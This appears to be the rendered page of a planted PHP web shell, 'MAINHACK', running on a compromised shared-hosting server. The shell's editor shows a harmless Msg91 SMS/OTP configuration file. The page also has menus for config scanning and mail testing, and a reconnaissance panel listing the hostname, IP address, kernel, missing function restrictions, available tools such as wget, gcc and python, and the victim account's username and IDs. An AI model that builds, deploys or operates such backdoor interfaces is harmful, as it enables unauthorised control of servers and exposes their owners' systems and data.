[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: msg91.php
<?php /* |---------------------------------------------------------------------- | Configuration for Msg91 Client |---------------------------------------------------------------------- | Set some default values for thenclient. All the defaults can be over | written at runtime. */ return [ /** |-------------------------------------------------------------------------- | Authentication Token |-------------------------------------------------------------------------- | Authentication token required for any communication with APIs. This can | be retrieved from your Msg91's dashboard under the API > configuration | section */ 'token' => '<your_token_here>', /** |-------------------------------------------------------------------------- | OTP Message |-------------------------------------------------------------------------- | This provides a template for OTP messages. ##OTP## placeholder MUST be | included in the message where the values of OTP will be substituted. */ "otp_message" => "Your verification code is ##OTP##", /** |-------------------------------------------------------------------------- | Resend OTP Method |-------------------------------------------------------------------------- | This sets the default method of communication when attempting to resend | the OTP. We have two ways: text or voice. */ "resend_otp_method" => "text", /** |-------------------------------------------------------------------------- | Default sender id |-------------------------------------------------------------------------- | This values sets the `sender` option in apis which is used as the "From" | in messaging applications. */ "from" => null, /** |-------------------------------------------------------------------------- | OTP Length |-------------------------------------------------------------------------- | The default length of the OTPs. This can be used when we are not | generating OTP on our end and letting the Msg91 generate and | store otp for us. This should be between from [4,9] */ "otp_length" => 4, /** |-------------------------------------------------------------------------- | OTP Expiry time |-------------------------------------------------------------------------- | Expiry time (in minutes) for which the send OTP is valid. The minimum | values is 1 minute. Use integer values only. */ "otp_expiry" => 5, /** |-------------------------------------------------------------------------- | Route for SMS |-------------------------------------------------------------------------- | If your operator supports multiple routes then give one route name. | Eg: route=1 for promotional, route=4 for transactional SMS. | For SendOTP routes, use otp api instead of sms */ "route" => null, /** |-------------------------------------------------------------------------- | Unicode |-------------------------------------------------------------------------- | If all your messages includes unicode, set it's value to 1, else set | it when calling the sms apis. */ "unicode" => 0, ];
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285